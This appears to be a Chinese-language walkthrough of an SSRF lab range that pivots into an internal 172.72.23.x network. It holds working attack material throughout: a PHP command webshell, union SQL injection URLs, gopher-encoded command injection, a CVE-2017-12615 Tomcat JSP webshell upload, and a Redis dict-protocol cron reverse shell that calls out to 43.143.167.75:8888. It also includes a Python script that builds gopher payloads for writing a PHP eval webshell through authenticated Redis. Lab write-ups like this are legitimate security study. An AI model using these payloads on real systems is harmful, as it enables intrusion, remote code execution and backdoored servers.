访问网站:
发现可以查询其他网站,尝试请求自己:
再尝试请求一下网站下的文件:
172.72.23.21-ssrf
尝试伪协议读取本地文件:
查看主机信息:
发现存在内网ip:172.72.23.21
其他敏感文件(/proc/net/fib_trie
,/proc/net/arp
)读取失败,尝试爆破一下ip的C段以及端口
根据结果,我们可以整理出内网ip及端口的开放情况:
ip |
port |
172.72.23.21 |
80 |
172.72.23.22 |
80 |
172.72.23.23 |
80,3306 |
172.72.23.24 |
80 |
172.72.23.26 |
8080 |
172.72.23.27 |
6379 |
172.72.23.28 |
80,6379 |
172.72.23.22-CodeExec
利用burp结合字典扫目录:
发现敏感目录:phpinfo.php shell.php
尝试访问shell.php
发现php代码:
1 2 3 4 5
| <?php highlight_file(__FILE__); error_reporting(0); system($_GET['cmd']); ?>
|
可以进行命令执行,因为是用bp发送的请求,所以空格需要进行两次url编码
172.72.23.23 - SQL 注入
通过抓包分析可知,参数为id
就可以进行SQL注入了**(空格需要进行两次编码)**
通过简单判断发现,共有4个字段,回显位置是1,2,4
1 2 3 4 5 6 7
| url=172.72.23.23?id=-1'%2520union%2520select%25201,2,3,database()--%2520 // 发现数据库名为 db
url=172.72.23.23?id=-1'%2520union%2520select%25201,2,3,group_concat(table_name)%2520from%2520information_schema.tables%2520where%2520table_schema='db'
url=172.72.23.23?id=-1'%2520union%2520select%25201,2,3,group_concat(column_name)%2520from%2520information_schema.columns%2520where%2520table_name='flag_is_here'--%2520 // 发现字段名 content
url=172.72.23.23?id=-1'%2520union%2520select%25201,2,3,group_concat(content)%2520from%2520flag_is_here
|
172.72.23.24 - 命令执行
测试命令执行
这个命令执行的场景是通过 POST 方式触发的,我们无法使用使用 SSRF 漏洞通过 HTTP 协议来传递 POST 数据
所以需要使用gopher协议来进行
构造:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| POST / HTTP/1.1 Host: 172.72.23.24 Content-Length: 12 Content-Type: application/x-www-form-urlencoded
ip=127.0.0.1;id
POST%20%2F%20HTTP%2F1.1%0AHost%3A%20172.72.23.24%0AContent-Length%3A%2012%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0A%0Aip%3D127.0.0.1%3Bid //第一次编码数据
// 将%0A全部替换为%0D%0A
POST%20%2F%20HTTP%2F1.1%0D%0AHost%3A%20172.72.23.24%0D%0AContent-Length%3A%2012%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0A%0D%0Aip%3D127.0.0.1%3Bid //第二次编码数据
post传参: url=gopher://172.72.23.24:80/_POST%2520%252F%2520HTTP%252F1.1%250D%250AHost%253A%2520172.72.23.24%250D%250AContent-Length%253A%252015%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Aip%253D127.0.0.1%253Bid
|
成功命令执行!
172.72.23.26 - CVE-2017-12615
发现是tomcat服务,也是通过搜索知道了这是个cve(CVE-2017-12615)
准备好jsp的一句话木马:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <% String command = request.getParameter("cmd"); if(command != null) { java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1) { out.println(new String(b)); } out.print("</pre>"); } else { out.print("format: xxx.jsp?cmd=Command"); } %>
|
继续构造,通过gopher协议传进去
CVE-2017-12615)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| PUT /shell.jsp/ HTTP/1.1 Host: 172.72.23.26:8080 Content-Type: application/x-www-form-urlencoded Content-Length: 444
<% String command = request.getParameter("cmd"); if(command != null) { java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1) { out.println(new String(b)); } out.print("</pre>"); } else { out.print("format: xxx.jsp?cmd=Command"); } %>
|
gopher传完,返回2xx说明成功写shell:
发现命令执行成功:
172.72.23.27-redis未授权
Redis 默认情况下,会绑定在 0.0.0.0:6379,,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
简单说,漏洞的产生条件有以下两点:
- redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;
- 没有设置密码认证(一般为空),可以免密码远程登录redis服务。
SSRF 攻击的话并不能使用 redis-cli 来连接 Redis 进行攻击操作,未授权的情况下可以使用 dict 或者 gopher 协议来进行攻击,因为 gopher 协议构造比较繁琐,所以直接使用 DICT 协议来攻击,效率会高很多,DICT 协议可以攻击未授权的 Redis 服务,格式如下:
1
| dict://x.x.x.x:6379/<Redis 命令>
|
在172.72.23.27上开放着6379端口,即redis服务,尝试执行一下 info
发现可以执行命令,利用定时任务反弹shell,这里用bp实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| dict://172.72.23.27:6379/flushall
dict://172.72.23.27:6379/config%20set%20dir%20/var/spool/cron/
dict://172.72.23.27:6379/config%20set%20dbfilename%20root
dict://172.72.23.27:6379/set%20x%20"\n*%20*%20*%20*%20*%20/bin/bash%20-i%20>%26%20/dev/tcp/43.143.167.75/8888%200>%261\n"
dict://172.72.23.27:6379/save
|
依次执行完后,就会发现反弹shell成功:
172.72.23.28-redis有授权
在172.72.23.28上6379有redis服务,不过有密码验证,无法直接未授权执行命令:
在172.72.23.28上不仅在6379有redis服务,同样存在80端口存在web服务:
这是一个LFI 本地文件包含,可以利用此来读取本地的文件内容:
因为 Redis 密码记录在 redis.conf 配置文件中,结合这个文件包含漏洞点,那么这时来尝试借助目标机器的文件包含漏洞来读取 redis 的配置文件信息,Redis 常见的配置文件路径如下:
/etc/redis.conf
/etc/redis/redis.conf
/usr/local/redis/etc/redis.conf
/opt/redis/ect/redis.conf
经测试发现,/etc/redis.conf
存在我们想要的东西
先明确一下攻击思路,和前面的弹shell差不多,区别在于这里使用gopher协议,如果条件允许的话也是可以用dict协议来写shell的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| auth P@ssw0rd
flushall
config set dir /var/www/html
config set dbfilename shell.php
set x "\n<?php eval($_GET[1]);?>\n"
save
|
使用自动化工具:
复制生成的payload到bp解码,删除gopher://127.0.0.1:6379/_
加上如下内容:
*2
$1
auth
$8
P@ssw0rd
这是Redis数据包的传输方式,*2代表此次传输两条指令,$1代表指令长度为1:
最后将这个Redis的数据包url编码两次发送就行了
但是我不知道哪里有问题,没有成功,所以改用用脚本实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| import urllib.parse
protocol = "gopher://" ip = "172.72.23.28" port = "6379" shell = "\n\n<?php eval($_GET[1]);?>\n\n" filename = "shell.php" path = "/var/www/html" passwd = "P@ssw0rd" cmd = ["flushall", "set 1 {}".format(shell.replace(" ", "${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save", "quit" ] if passwd: cmd.insert(0, "AUTH {}".format(passwd)) payload = protocol + ip + ":" + port + "/_"
def redis_format(arr): CRLF = "\r\n" redis_arr = arr.split(" ") cmd = "" cmd += "*" + str(len(redis_arr)) for x in redis_arr: cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ") cmd += CRLF return cmd
if __name__ == "__main__": for x in cmd: payload += urllib.parse.quote(redis_format(x))
print(urllib.parse.quote(payload))
|
写入成功
rce成功